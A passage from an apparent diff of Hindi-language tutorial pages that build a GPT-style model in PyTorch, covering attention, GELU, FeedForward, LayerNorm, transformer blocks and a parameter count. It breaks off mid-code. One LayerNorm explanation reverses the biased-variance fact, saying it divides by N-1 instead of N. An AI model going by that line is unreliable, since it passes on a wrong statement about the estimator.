def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert (d_out % num_heads == 0), \
"d_out must be divisible by num_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer(
"mask",
torch.triu(torch.ones(context_length, context_length),
diagonal=1)
)
def forward(self, x):
b, num_tokens, d_in = x.shape
# b is the num of batches
# num_tokens is the number of tokens per batch
# d_in is the dimensions er token
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
torch.manual_seed(123)
batch_size, context_length, d_in = batch.shape
d_out = 2
mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2)
context_vecs = mha(batch)
print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
For another compact and efficient implementation you could use the [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) class in PyTorch.
> [!TIP]
> ChatGPT का संक्षिप्त उत्तर कि क्यों टोकनों के आयामों को सिरों के बीच विभाजित करना बेहतर है बजाय इसके कि प्रत्येक सिर सभी टोकनों के सभी आयामों की जांच करे:
>
> जबकि प्रत्येक सिर को सभी एम्बेडिंग आयामों को संसाधित करने की अनुमति देना फायदेमंद लग सकता है क्योंकि प्रत्येक सिर को पूर्ण जानकारी तक पहुंच होगी, मानक प्रथा है कि **सिरों के बीच एम्बेडिंग आयामों को विभाजित करना**। यह दृष्टिकोण गणनात्मक दक्षता और मॉडल प्रदर्शन के बीच संतुलन बनाता है और प्रत्येक सिर को विविध प्रतिनिधित्व सीखने के लिए प्रोत्साहित करता है। इसलिए, एम्बेडिंग आयामों को विभाजित करना आमतौर पर प्रत्येक सिर को सभी आयामों की जांच करने की तुलना में प्राथमिकता दी जाती है।
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,666 +0,0 @@
# 5. LLM Architecture
## LLM Architecture
> [!TIP]
> इस पांचवे चरण का लक्ष्य बहुत सरल है: **पूर्ण LLM की आर्किटेक्चर विकसित करना**। सब कुछ एक साथ रखें, सभी परतों को लागू करें और पाठ उत्पन्न करने या पाठ को आईडी में और इसके विपरीत परिवर्तित करने के लिए सभी कार्यों को बनाएं।
>
> इस आर्किटेक्चर का उपयोग प्रशिक्षण और भविष्यवाणी दोनों के लिए किया जाएगा।
LLM आर्किटेक्चर का उदाहरण [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
एक उच्च स्तर का प्रतिनिधित्व देखा जा सकता है:
<figure><img src="../../images/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **Input (Tokenized Text)**: प्रक्रिया टोकनयुक्त पाठ के साथ शुरू होती है, जिसे संख्यात्मक प्रतिनिधित्व में परिवर्तित किया जाता है।
2. **Token Embedding and Positional Embedding Layer**: टोकनयुक्त पाठ को **टोकन एम्बेडिंग** परत और **पोजिशनल एम्बेडिंग परत** के माध्यम से भेजा जाता है, जो अनुक्रम में टोकनों की स्थिति को कैप्चर करता है, जो शब्द क्रम को समझने के लिए महत्वपूर्ण है।
3. **Transformer Blocks**: मॉडल में **12 ट्रांसफार्मर ब्लॉक्स** होते हैं, प्रत्येक में कई परतें होती हैं। ये ब्लॉक्स निम्नलिखित अनुक्रम को दोहराते हैं:
- **Masked Multi-Head Attention**: मॉडल को एक बार में इनपुट पाठ के विभिन्न भागों पर ध्यान केंद्रित करने की अनुमति देता है।
- **Layer Normalization**: प्रशिक्षण को स्थिर और सुधारने के लिए एक सामान्यीकरण कदम।
- **Feed Forward Layer**: ध्यान परत से जानकारी को संसाधित करने और अगले टोकन के बारे में भविष्यवाणी करने के लिए जिम्मेदार।
- **Dropout Layers**: ये परतें प्रशिक्षण के दौरान यादृच्छिक रूप से इकाइयों को छोड़कर ओवरफिटिंग को रोकती हैं।
4. **Final Output Layer**: मॉडल एक **4x50,257-आयामी टेन्सर** आउटपुट करता है, जहाँ **50,257** शब्दावली के आकार का प्रतिनिधित्व करता है। इस टेन्सर में प्रत्येक पंक्ति एक वेक्टर के अनुरूप होती है जिसका उपयोग मॉडल अनुक्रम में अगले शब्द की भविष्यवाणी करने के लिए करता है।
5. **Goal**: उद्देश्य इन एम्बेडिंग को लेना और उन्हें फिर से पाठ में परिवर्तित करना है। विशेष रूप से, आउटपुट की अंतिम पंक्ति का उपयोग अगले शब्द को उत्पन्न करने के लिए किया जाता है, जिसे इस आरेख में "आगे" के रूप में दर्शाया गया है।
### Code representation
```python
import torch
import torch.nn as nn
import tiktoken
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
return self.layers(x)
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert d_out % num_heads == 0, "d_out must be divisible by num_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
def forward(self, x):
b, num_tokens, d_in = x.shape
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"])
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# Shortcut connection for attention block
shortcut = x
x = self.norm1(x)
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
# Shortcut connection for feed forward block
shortcut = x
x = self.norm2(x)
x = self.ff(x)
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
return x
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(
cfg["emb_dim"], cfg["vocab_size"], bias=False
)
def forward(self, in_idx):
batch_size, seq_len = in_idx.shape
tok_embeds = self.tok_emb(in_idx)
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
x = self.drop_emb(x)
x = self.trf_blocks(x)
x = self.final_norm(x)
logits = self.out_head(x)
return logits
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 1024, # Context length
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-Key-Value bias
}
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
out = model(batch)
print("Input batch:\n", batch)
print("\nOutput shape:", out.shape)
print(out)
```
### **GELU सक्रियण फ़ंक्शन**
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
```
#### **उद्देश्य और कार्यक्षमता**
- **GELU (Gaussian Error Linear Unit):** एक सक्रियण फ़ंक्शन जो मॉडल में गैर-रेखीयता को पेश करता है।
- **स्मूद सक्रियण:** ReLU के विपरीत, जो नकारात्मक इनपुट को शून्य कर देता है, GELU इनपुट को आउटपुट में स्मूद तरीके से मैप करता है, जिससे नकारात्मक इनपुट के लिए छोटे, गैर-शून्य मानों की अनुमति मिलती है।
- **गणितीय परिभाषा:**
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> FeedForward लेयर के अंदर रेखीय परतों के बाद इस फ़ंक्शन के उपयोग का लक्ष्य रेखीय डेटा को गैर-रेखीय में बदलना है ताकि मॉडल जटिल, गैर-रेखीय संबंधों को सीख सके।
### **FeedForward न्यूरल नेटवर्क**
_आकृतियों को मैट्रिस के आकार को बेहतर समझने के लिए टिप्पणियों के रूप में जोड़ा गया है:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
# x shape: (batch_size, seq_len, emb_dim)
x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **उद्देश्य और कार्यक्षमता**
- **पोजीशन-वाइज फीडफॉरवर्ड नेटवर्क:** प्रत्येक पोजीशन पर अलग-अलग और समान रूप से दो-परतों वाला पूरी तरह से जुड़े नेटवर्क लागू करता है।
- **परत विवरण:**
- **पहली रैखिक परत:** `emb_dim` से `4 * emb_dim` तक आयाम का विस्तार करता है।
- **GELU सक्रियण:** गैर-रेखीयता लागू करता है।
- **दूसरी रैखिक परत:** आयाम को फिर से `emb_dim` पर कम करता है।
> [!NOTE]
> जैसा कि आप देख सकते हैं, फीड फॉरवर्ड नेटवर्क 3 परतों का उपयोग करता है। पहली एक रैखिक परत है जो रैखिक वजन (मॉडल के अंदर प्रशिक्षित करने के लिए पैरामीटर) का उपयोग करके आयामों को 4 से गुणा करेगी। फिर, GELU फ़ंक्शन का उपयोग उन सभी आयामों में गैर-रेखीय भिन्नताओं को लागू करने के लिए किया जाता है ताकि समृद्ध प्रतिनिधित्व को कैप्चर किया जा सके और अंततः एक और रैखिक परत का उपयोग मूल आयाम के आकार में वापस जाने के लिए किया जाता है।
### **मल्टी-हेड ध्यान तंत्र**
यह पहले के अनुभाग में पहले ही समझाया गया था।
#### **उद्देश्य और कार्यक्षमता**
- **मल्टी-हेड सेल्फ-अटेंशन:** मॉडल को टोकन को एन्कोड करते समय इनपुट अनुक्रम के भीतर विभिन्न पोजीशनों पर ध्यान केंद्रित करने की अनुमति देता है।
- **मुख्य घटक:**
- **क्वेरी, कीज़, वैल्यूज़:** इनपुट के रैखिक प्रक्षिप्तियाँ, जो ध्यान स्कोर की गणना के लिए उपयोग की जाती हैं।
- **हेड्स:** समानांतर में चलने वाले कई ध्यान तंत्र (`num_heads`), प्रत्येक के साथ एक कम आयाम (`head_dim`)।
- **ध्यान स्कोर:** क्वेरी और कीज़ के डॉट उत्पाद के रूप में गणना की जाती है, स्केल की जाती है और मास्क की जाती है।
- **मास्किंग:** भविष्य के टोकनों पर ध्यान केंद्रित करने से रोकने के लिए एक कारणात्मक मास्क लागू किया जाता है (GPT जैसे ऑटोरिग्रेसिव मॉडलों के लिए महत्वपूर्ण)।
- **ध्यान वजन:** मास्क किए गए और स्केल किए गए ध्यान स्कोर का सॉफ्टमैक्स।
- **संदर्भ वेक्टर:** ध्यान वजन के अनुसार मानों का भारित योग।
- **आउटपुट प्रक्षिप्ति:** सभी हेड्स के आउटपुट को संयोजित करने के लिए रैखिक परत।
> [!NOTE]
> इस नेटवर्क का लक्ष्य एक ही संदर्भ में टोकनों के बीच संबंधों को खोजना है। इसके अलावा, टोकनों को विभिन्न हेड्स में विभाजित किया जाता है ताकि ओवरफिटिंग को रोका जा सके, हालांकि प्रत्येक हेड में पाए गए अंतिम संबंधों को इस नेटवर्क के अंत में संयोजित किया जाता है।
>
> इसके अलावा, प्रशिक्षण के दौरान एक **कारणात्मक मास्क** लागू किया जाता है ताकि बाद के टोकनों को एक टोकन के लिए विशिष्ट संबंधों को देखते समय ध्यान में नहीं लिया जाए और कुछ **ड्रॉपआउट** भी लागू किया जाता है ताकि **ओवरफिटिंग को रोका जा सके**
### **परत** सामान्यीकरण
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5 # Prevent division by zero during normalization.
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
```
#### **उद्देश्य और कार्यक्षमता**
- **लेयर नॉर्मलाइजेशन:** एक तकनीक जो बैच में प्रत्येक व्यक्तिगत उदाहरण के लिए विशेषताओं (एम्बेडिंग आयाम) के बीच इनपुट को सामान्य करने के लिए उपयोग की जाती है।
- **घटक:**
- **`eps`:** एक छोटा स्थिरांक (`1e-5`) जो सामान्यीकरण के दौरान शून्य से विभाजन को रोकने के लिए वैरिएंस में जोड़ा जाता है।
- **`scale` और `shift`:** सीखने योग्य पैरामीटर (`nn.Parameter`) जो मॉडल को सामान्यीकृत आउटपुट को स्केल और शिफ्ट करने की अनुमति देते हैं। इन्हें क्रमशः एक और शून्य पर प्रारंभ किया जाता है।
- **सामान्यीकरण प्रक्रिया:**
- **मीन की गणना (`mean`):** एम्बेडिंग आयाम (`dim=-1`) के बीच इनपुट `x` का मीन निकालता है, प्रसारण के लिए आयाम को बनाए रखते हुए (`keepdim=True`)।
- **वैरिएंस की गणना (`var`):** एम्बेडिंग आयाम के बीच `x` का वैरिएंस निकालता है, आयाम को भी बनाए रखते हुए। `unbiased=False` पैरामीटर यह सुनिश्चित करता है कि वैरिएंस पूर्वाग्रहित अनुमानक का उपयोग करके निकाला जाता है (जिसमें `N` के बजाय `N-1` से विभाजित किया जाता है), जो विशेषताओं के बजाय नमूनों पर सामान्यीकृत करते समय उपयुक्त है।
- **नॉर्मलाइज करें (`norm_x`):** `x` से मीन घटाता है और वैरिएंस के वर्गमूल के साथ `eps` को जोड़कर विभाजित करता है।
- **स्केल और शिफ्ट:** सामान्यीकृत आउटपुट पर सीखने योग्य `scale` और `shift` पैरामीटर लागू करता है।
> [!NOTE]
> लक्ष्य यह सुनिश्चित करना है कि एक ही टोकन के सभी आयामों में 0 का मीन और 1 का वैरिएंस हो। इसका लक्ष्य **गहरे न्यूरल नेटवर्क के प्रशिक्षण को स्थिर करना** है, जो प्रशिक्षण के दौरान पैरामीटर के अद्यतन के कारण नेटवर्क सक्रियण के वितरण में परिवर्तन को संदर्भित करता है।
### **ट्रांसफार्मर ब्लॉक**
_आकृतियों को मैट्रिसेस के आकार को बेहतर समझने के लिए टिप्पणियों के रूप में जोड़ा गया है:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"]
)
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# x shape: (batch_size, seq_len, emb_dim)
# Shortcut connection for attention block
shortcut = x # shape: (batch_size, seq_len, emb_dim)
x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
# Shortcut connection for feedforward block
shortcut = x # shape: (batch_size, seq_len, emb_dim)
x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **उद्देश्य और कार्यक्षमता**
- **परतों की संरचना:** मल्टी-हेड ध्यान, फीडफॉरवर्ड नेटवर्क, परत सामान्यीकरण, और अवशिष्ट कनेक्शन को जोड़ता है।
- **परत सामान्यीकरण:** स्थिर प्रशिक्षण के लिए ध्यान और फीडफॉरवर्ड परतों से पहले लागू किया जाता है।
- **अवशिष्ट कनेक्शन (शॉर्टकट):** ग्रेडिएंट प्रवाह में सुधार करने और गहरे नेटवर्क के प्रशिक्षण को सक्षम करने के लिए एक परत के इनपुट को इसके आउटपुट में जोड़ता है।
- **ड्रॉपआउट:** नियमितीकरण के लिए ध्यान और फीडफॉरवर्ड परतों के बाद लागू किया जाता है।
#### **चरण-दर-चरण कार्यक्षमता**
1. **पहला अवशिष्ट पथ (स्वयं-ध्यान):**
- **इनपुट (`shortcut`):** अवशिष्ट कनेक्शन के लिए मूल इनपुट को सहेजें।
- **परत मानक (`norm1`):** इनपुट को सामान्यीकृत करें।
- **मल्टी-हेड ध्यान (`att`):** स्वयं-ध्यान लागू करें।
- **ड्रॉपआउट (`drop_shortcut`):** नियमितीकरण के लिए ड्रॉपआउट लागू करें।
- **अवशिष्ट जोड़ें (`x + shortcut`):** मूल इनपुट के साथ मिलाएं।
2. **दूसरा अवशिष्ट पथ (फीडफॉरवर्ड):**
- **इनपुट (`shortcut`):** अगले अवशिष्ट कनेक्शन के लिए अपडेटेड इनपुट को सहेजें।
- **परत मानक (`norm2`):** इनपुट को सामान्यीकृत करें।
- **फीडफॉरवर्ड नेटवर्क (`ff`):** फीडफॉरवर्ड परिवर्तन लागू करें।
- **ड्रॉपआउट (`drop_shortcut`):** ड्रॉपआउट लागू करें।
- **अवशिष्ट जोड़ें (`x + shortcut`):** पहले अवशिष्ट पथ से इनपुट के साथ मिलाएं।
> [!NOTE]
> ट्रांसफार्मर ब्लॉक सभी नेटवर्क को एक साथ समूहित करता है और प्रशिक्षण स्थिरता और परिणामों में सुधार के लिए कुछ **सामान्यीकरण** और **ड्रॉपआउट** लागू करता है।\
> ध्यान दें कि ड्रॉपआउट प्रत्येक नेटवर्क के उपयोग के बाद किया जाता है जबकि सामान्यीकरण पहले लागू किया जाता है।
>
> इसके अलावा, यह शॉर्टकट का भी उपयोग करता है जिसमें **एक नेटवर्क के आउटपुट को इसके इनपुट के साथ जोड़ना** शामिल है। यह सुनिश्चित करके वैनिशिंग ग्रेडिएंट समस्या को रोकने में मदद करता है कि प्रारंभिक परतें "जितना संभव" अंतिम परतों में योगदान करती हैं।
### **GPTModel**
_आकृतियों को मैट्रिस के आकार को बेहतर समझने के लिए टिप्पणियों के रूप में जोड़ा गया है:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
# shape: (vocab_size, emb_dim)
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
# shape: (context_length, emb_dim)
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
)
# Stack of TransformerBlocks
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
# shape: (emb_dim, vocab_size)
def forward(self, in_idx):
# in_idx shape: (batch_size, seq_len)
batch_size, seq_len = in_idx.shape
# Token embeddings
tok_embeds = self.tok_emb(in_idx)
# shape: (batch_size, seq_len, emb_dim)
# Positional embeddings
pos_indices = torch.arange(seq_len, device=in_idx.device)
# shape: (seq_len,)
pos_embeds = self.pos_emb(pos_indices)
# shape: (seq_len, emb_dim)
# Add token and positional embeddings
x = tok_embeds + pos_embeds # Broadcasting over batch dimension
# x shape: (batch_size, seq_len, emb_dim)
x = self.drop_emb(x) # Dropout applied
# x shape remains: (batch_size, seq_len, emb_dim)
x = self.trf_blocks(x) # Pass through Transformer blocks
# x shape remains: (batch_size, seq_len, emb_dim)
x = self.final_norm(x) # Final LayerNorm
# x shape remains: (batch_size, seq_len, emb_dim)
logits = self.out_head(x) # Project to vocabulary size
# logits shape: (batch_size, seq_len, vocab_size)
return logits # Output shape: (batch_size, seq_len, vocab_size)
```
#### **उद्देश्य और कार्यक्षमता**
- **Embedding Layers:**
- **Token Embeddings (`tok_emb`):** टोकन अनुक्रमों को एम्बेडिंग में परिवर्तित करता है। याद दिलाने के लिए, ये शब्दावली में प्रत्येक टोकन के प्रत्येक आयाम को दिए गए वजन हैं।
- **Positional Embeddings (`pos_emb`):** एम्बेडिंग में स्थिति संबंधी जानकारी जोड़ता है ताकि टोकनों के क्रम को कैप्चर किया जा सके। याद दिलाने के लिए, ये टेक्स्ट में टोकन की स्थिति के अनुसार दिए गए वजन हैं।
- **Dropout (`drop_emb`):** नियमितीकरण के लिए एम्बेडिंग पर लागू किया जाता है।
- **Transformer Blocks (`trf_blocks`):** एम्बेडिंग को प्रोसेस करने के लिए `n_layers` ट्रांसफार्मर ब्लॉकों का स्टैक।
- **Final Normalization (`final_norm`):** आउटपुट लेयर से पहले लेयर नॉर्मलाइजेशन।
- **Output Layer (`out_head`):** भविष्यवाणी के लिए लॉजिट उत्पन्न करने के लिए अंतिम छिपे हुए राज्यों को शब्दावली के आकार पर प्रक्षिप्त करता है।
> [!NOTE]
> इस वर्ग का लक्ष्य **अनुक्रम में अगला टोकन भविष्यवाणी करना** है, जो टेक्स्ट जनरेशन जैसे कार्यों के लिए मौलिक है।
>
> ध्यान दें कि यह **जितने ट्रांसफार्मर ब्लॉकों की आवश्यकता है** का उपयोग करेगा और प्रत्येक ट्रांसफार्मर ब्लॉक एक मल्टी-हेड अटेंशन नेट, एक फीड फॉरवर्ड नेट और कई नॉर्मलाइजेशन का उपयोग कर रहा है। इसलिए यदि 12 ट्रांसफार्मर ब्लॉक्स का उपयोग किया जाता है, तो इसे 12 से गुणा करें।
>
> इसके अलावा, एक **नॉर्मलाइजेशन** लेयर **आउटपुट** से **पहले** जोड़ी जाती है और अंत में परिणामों को उचित आयामों के साथ प्राप्त करने के लिए एक अंतिम रैखिक लेयर लागू की जाती है। ध्यान दें कि प्रत्येक अंतिम वेक्टर का आकार उपयोग की गई शब्दावली के आकार के बराबर है। इसका कारण यह है कि यह शब्दावली के भीतर संभावित टोकन के लिए एक संभावना प्राप्त करने की कोशिश कर रहा है।
## प्रशिक्षित करने के लिए पैरामीटर की संख्या
GPT संरचना को परिभाषित करने के बाद, प्रशिक्षित करने के लिए पैरामीटर की संख्या का पता लगाना संभव है:
```python
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 1024, # Context length
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-Key-Value bias
}
model = GPTModel(GPT_CONFIG_124M)
total_params = sum(p.numel() for p in model.parameters())
print(f"Total number of parameters: {total_params:,}")
# Total number of parameters: 163,009,536
```
### **चरण-दर-चरण गणना**
#### **1. एम्बेडिंग परतें: टोकन एम्बेडिंग और स्थिति एम्बेडिंग**
- **परत:** `nn.Embedding(vocab_size, emb_dim)`
- **पैरामीटर:** `vocab_size * emb_dim`
```python
token_embedding_params = 50257 * 768 = 38,597,376
```
- **परत:** `nn.Embedding(context_length, emb_dim)`
- **पैरामीटर:** `context_length * emb_dim`
```python
position_embedding_params = 1024 * 768 = 786,432
```
**कुल एम्बेडिंग पैरामीटर**
```python
embedding_params = token_embedding_params + position_embedding_params
embedding_params = 38,597,376 + 786,432 = 39,383,808
```
#### **2. Transformer Blocks**
यहां 12 ट्रांसफार्मर ब्लॉक हैं, इसलिए हम एक ब्लॉक के लिए पैरामीटर की गणना करेंगे और फिर 12 से गुणा करेंगे।
**प्रत्येक ट्रांसफार्मर ब्लॉक के लिए पैरामीटर**
**a. मल्टी-हेड अटेंशन**
- **घटक:**
- **क्वेरी लीनियर लेयर (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **की लीनियर लेयर (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **वैल्यू लीनियर लेयर (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **आउटपुट प्रोजेक्शन (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
- **गणनाएँ:**
- **`W_query`, `W_key`, `W_value` में से प्रत्येक:**
```python
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
```
चूंकि ऐसी तीन लेयर हैं:
```python
